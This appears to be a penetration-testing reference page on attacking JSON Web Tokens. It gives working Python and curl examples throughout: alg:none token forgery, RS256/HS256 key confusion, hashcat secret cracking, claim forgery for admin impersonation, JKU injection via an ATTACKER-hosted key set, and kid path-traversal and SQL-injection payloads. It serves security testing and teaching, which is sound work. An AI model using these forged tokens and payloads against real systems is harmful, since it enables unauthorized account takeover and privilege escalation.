JWT Attacks
| CWE | CWE-287, CWE-347 |
| Tools | burp, jwt_tool |
| Difficulty | 🔴 advanced |
Exploit JWT Weaknesses​
JWT structure: header.payload.signature (base64url encoded). Tokens starting with eyJ are almost certainly JWTs.
Detection and Analysis​
# Decode JWT header and payload
jwt_token="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.signature" # gitleaks:allow
echo $jwt_token | cut -d. -f1 | base64 -d 2>/dev/null # Header
echo $jwt_token | cut -d. -f2 | base64 -d 2>/dev/null # Payload
# Use jwt_tool for comprehensive analysis
python3 jwt_tool.py "$jwt_token"
# Fetch public keys
curl -s "https://TARGET/.well-known/jwks.json" | jq
Check for sensitive data in claims. JWTs are not encrypted by default -- any data in the payload is readable. Look for PII, internal IDs, roles, or secrets exposed in claims.
Algorithm None Attack​
Some libraries accept alg: none, requiring no signature at all.
import base64
import json
payload = {"sub": "1234567890", "admin": True, "exp": 9999999999}
header = {"alg": "none", "typ": "JWT"}
header_b64 = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=').decode()
payload_b64 = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=').decode()
# Try both with and without trailing dot
forged_token = f"{header_b64}.{payload_b64}."
forged_token_no_dot = f"{header_b64}.{payload_b64}"
Test case variations -- servers may accept different capitalizations:
# none, None, NONE, nOnE
curl -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJhZG1pbiI6dHJ1ZX0." URL # gitleaks:allow
curl -H "Authorization: Bearer eyJhbGciOiJOb25lIn0.eyJhZG1pbiI6dHJ1ZX0." URL # gitleaks:allow
curl -H "Authorization: Bearer eyJhbGciOiJOT05FIn0.eyJhZG1pbiI6dHJ1ZX0." URL # gitleaks:allow
curl -H "Authorization: Bearer eyJhbGciOiJuT25lIn0.eyJhZG1pbiI6dHJ1ZX0." URL # gitleaks:allow
Algorithm Confusion (Key Confusion)​
When the server uses asymmetric signing (RS256) but also accepts symmetric (HS256), you can sign tokens using the public key as the HMAC secret.
import jwt
# Get the public key (often at /.well-known/jwks.json)
public_key = '''-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----'''
# Decode the original payload without verification
original_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..." # gitleaks:allow
payload = jwt.decode(original_token, options={"verify_signature": False})
# Re-encode with HS256 using the public key as the HMAC secret
forged_token = jwt.encode(payload, public_key, algorithm="HS256")
curl -H "Authorization: Bearer ${forged_token}" "https://TARGET/api/admin"
Weak Secret Brute Force​
If the JWT uses HS256/HS384/HS512, the signing secret may be brute-forceable.
# Offline cracking with hashcat
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
# Using jwt_tool with common secrets
python3 jwt_tool.py "$token" -C -d common_secrets.txt
Common weak secrets to test: secret, password, 123456, the application name, the company name, jwt_secret, empty string, changeme, test.
Claim Manipulation​
Once you know or have cracked the signing secret, modify claims to escalate privileges.
import jwt
secret = "weak_secret" # gitleaks:allow
payload = {
"sub": "admin@target.com", # Impersonate user
"role": "admin", # Elevate role
"admin": True, # Add admin flag
"exp": 9999999999, # Extend expiration
"iat": 1609459200, # Backdate if needed
}
forged_token = jwt.encode(payload, secret, algorithm="HS256")
Claims to target:
| Claim Pattern | Attack Goal |
|---|---|
sub, user_id, uid, user | User impersonation |
role, roles, groups | Privilege escalation |
admin, is_admin, isAdmin | Admin access |
permissions, scope | Permission escalation |
exp, iat, nbf | Token validity manipulation |
aud, iss | Audience/issuer bypass |
JWK/JKU Injection​
If the token header allows specifying where to fetch the signing key, inject your own key server.
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
import jwt
# Generate your own RSA key pair
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
# Host your JWK at an attacker-controlled URL
# Token header: {"alg": "RS256", "jku": "https://ATTACKER/.well-known/jwks.json"}
Kid (Key ID) Injection​
The kid header parameter can be exploited for path traversal or SQL injection.
# Path traversal -- /dev/null is empty, so HMAC secret is empty string
header = {"alg": "HS256", "typ": "JWT", "kid": "../../../dev/null"}
# SQL injection in kid
header = {"alg": "HS256", "typ": "JWT", "kid": "key1' UNION SELECT 'attackerSecret'--"}
Test Token Invalidation​
Verify that tokens are actually invalidated after logout. Many implementations only clear the token client-side without server-side revocation.
# Capture a valid token
TOKEN="..."
# Verify it works
curl -H "Authorization: Bearer $TOKEN" "https://TARGET/api/me"
# Trigger logout
curl -X POST "https://TARGET/logout" -H "Authorization: Bearer $TOKEN"
# Test if token still works (it should NOT)
curl -H "Authorization: Bearer $TOKEN" "https://TARGET/api/me"
If the token still works after logout, that is a confirmed vulnerability (CWE-613).